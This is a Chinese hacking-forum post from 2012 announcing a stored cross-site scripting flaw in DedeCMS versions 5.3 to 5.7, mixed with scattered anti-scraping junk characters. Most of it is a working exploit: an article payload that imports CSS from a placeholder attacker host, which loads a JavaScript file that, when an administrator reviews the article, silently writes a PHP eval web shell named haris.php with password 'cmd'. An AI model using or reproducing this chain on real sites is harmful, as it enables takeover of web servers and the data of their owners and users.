找回密码
 立即注册
查看: 2472|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell" }& B6 [4 V+ R. J
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
* j: I- b. J  O6 r  K9 \* w1 n目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。, b8 _% }/ j$ _  v7 C0 c
下面说说利用方法。6 I% w4 @9 _% A/ P) G
条件有2个:, g0 q/ [7 Q/ }9 ]+ @
1.开启注册4 q* \4 X, h. C# S
2.开启投稿
1 y# A0 j% v+ l+ J# j注册会员----发表文章
" O8 z' b: ]0 V2 x7 C内容填写:
, E" C) S% u" z8 L( w复制代码
1 ~  m3 }0 ^( x7 e( Q! M4 H<style>@im\port'\http://xxx.com/xss.css';</style>
; ~2 J1 k, q; q新建XSS.Css0 X( u. n1 ?& e+ w& }" N) S
复制代码8 _$ y- C" P3 ^* v
.body{$ A# x3 b, J$ ]0 [  t' N
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }# ^' [$ v0 r" T1 i3 R
新建xss.js 内容为. ~' x$ R( b8 A/ |3 z' V
复制代码
6 j9 l1 K. ~9 z) V1.var request = false;
  ?0 s: I6 L8 V; e2.if(window.XMLHttpRequest) {5 ^: N) H6 q! v2 [/ V0 \, M$ ~& ]
3.request = new XMLHttpRequest();
4 U! @' Z+ J8 M: R! q4.if(request.overrideMimeType) {& `) g% ?& `( ~) E3 U
5.request.overrideMimeType('text/xml');
# ]8 o/ q' d% ~, w0 u* g6.}$ g" V1 @) ^5 Y; |
7.} else if(window.ActiveXObject) {+ }$ y8 H" n1 n% e
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 X0 F7 `* w+ r0 ^) R9.for(var i=0; i<versions.length; i++) {% h0 S6 ^: N4 j, \" n% T
10.try {
$ M+ c) `& U: c7 e2 U* A  J9 B$ J11.request = new ActiveXObject(versions);
% V/ M9 Z! q$ l8 L9 O# o12.} catch(e) {}2 d+ C9 A( K# N- e
13.}
' S! t! j- D* j1 L" T14.}
, @" t" W) F8 b6 j6 {: P9 L- v15.xmlhttp=request;4 I6 A1 ]& y& U2 U* q$ R! w
16.function getFolder( url ){
+ j4 w5 a# |  r! D+ v17. obj = url.split('/')) h5 k0 D9 B7 D, ?1 y% l/ X: J% m! ~
18. return obj[obj.length-2]( C% ~5 K8 W3 C1 t& C! K# ^4 @
19.}
# B- ~7 X! w/ w0 w9 f20.oUrl = top.location.href;  \1 o) \7 j" _/ }2 H3 C
21.u = getFolder(oUrl);
0 D# T) D; ]" @9 w; D: `4 ?. K1 ~22.add_admin();
) v8 S- w( Q& g& X( q8 o) p23.function add_admin(){9 P' _" ?* Z- y  N0 c' o+ ^6 v
24.var url= "/"+u+"/sys_sql_query.php";
1 c! T* g" L# |1 r5 P25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";1 E9 ~! {* ~6 ?; I- I& I
26.xmlhttp.open("POST", url, true);
  S- |' l2 _2 d/ ~! Z5 q( a6 u' ?* p27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");* `% `' ]8 ~; N0 M
28.xmlhttp.setRequestHeader("Content-length", params.length);& ~; V/ @/ {: X$ F
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
1 E/ j' w$ y5 Q$ G30.xmlhttp.send(params);
7 d& x: c, t- C" S31.}, N: @7 X3 }/ ]
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表